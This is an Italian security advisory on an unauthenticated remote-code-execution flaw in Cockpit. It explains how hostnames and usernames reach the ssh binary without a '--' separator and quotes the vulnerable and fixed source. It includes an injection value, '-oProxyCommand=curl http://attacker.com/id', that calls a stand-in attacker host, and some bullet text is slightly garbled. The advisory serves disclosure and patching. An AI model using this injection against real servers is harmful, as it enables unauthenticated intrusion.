
Cockpit: Esecuzione di codice in remoto non autenticata tramite iniezione di argomenti da riga di comando SSH
Cockpit: Esecuzione Remota di Codice Non Autenticata tramite Iniezione di Argomenti della Riga di Comando SSH
| Campo | Dettaglio |
|---|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Gravità | Critica (CVSS 9.8) |
| Versioni interessate | Cockpit 327 – 359 |
| Corretta in | Cockpit 360 |
| CWE | CWE-78: Iniezione di Comandi del Sistema Operativo |
| Autenticazione richiesta | NO |
| Segnalata da | Jelle van der Waa |
La funzione di login remoto di Cockpit passa gli hostname forniti dall'utente (dal percorso URL) e gli username (dall'header Authorization: Basic) direttamente al binario OpenSSH ssh senza alcuna validazione o sanificazione.
Un attaccante non autenticato con accesso di rete alla porta 9090 può creare una singola richiesta HTTP che:
-oProxyCommand=<cmd>)%r di SSHEntrambi i punti di iniezione vengono attivati prima del completamento della verifica delle credenziali, il che significa che non è richiesto alcun login valido.

Prima della versione 327, Cockpit utilizzava un binario C dedicato chiamato cockpit-ssh (basato su libssh) per le connessioni remote. A partire dalla versione 327, questo è stato sostituito con:
python3 -m cockpit.beiboot
che invoca il client OpenSSH ssh di sistema. Questo cambiamento ha introdotto la vulnerabilità perché il nuovo percorso del codice passa valori controllati dall'utente direttamente a ssh senza sanificazione.
-- Prima dell'HostnameIl client SSH interpreta gli argomenti che iniziano con - come opzioni, non come hostname, a meno che non sia presente un separatore -- prima di essi. Senza --, qualsiasi hostname che inizia con - viene interpretato come un flag SSH.
Costruzione vulnerabile:
ssh [opzioni] <hostname> <comando-remoto>
Costruzione sicura:
ssh [opzioni] -- <hostname> <comando-remoto>
Né cockpit-ws (codice C) né cockpit.beiboot (codice Python) validano o sanificano:
Authorization: Basicargparse (CPython #66623)Un bug noto di CPython causa un'errata gestione degli argomenti che iniziano con - e contengono anche spazi da parte di argparse, trattandoli come argomenti posizionali anziché come flag. Ciò consente a un hostname -oProxyCommand=evil command di superare l'analisi degli argomenti di Python e raggiungere ssh come opzione.
src/cockpit/beiboot.py — Punto di Iniezione PrimarioQuesto è il file più critico. La funzione via_ssh() costruisce la lista degli argomenti del comando SSH.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
Con dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← opzione cockpit
arg2: -oProxyCommand=curl http://... ← INTERPRETATA COME OPZIONE SSH (non hostname)
arg3: python3 -ic '# cockpit-bridge' ← diventa l'"hostname" → attiva ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# CORRETTO: '--' forza tutto ciò che segue a essere posizionale
destination = ['-p', port, '--', host]
else:
# CORRETTO: separatore '--' aggiunto
destination = ['--', dest]
src/ws/cockpitauth.c — Livello C: Estrazione dell'HostnameQuesto file C gestisce l'analisi iniziale della richiesta HTTP e avvia il processo beiboot.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
L'hostname restituito viene passato direttamente come argomento all'avvio di beiboot:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// CORRETTO: il '--' finale garantisce che l'hostname sia sempre posizionale
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // unsanitized
...);
}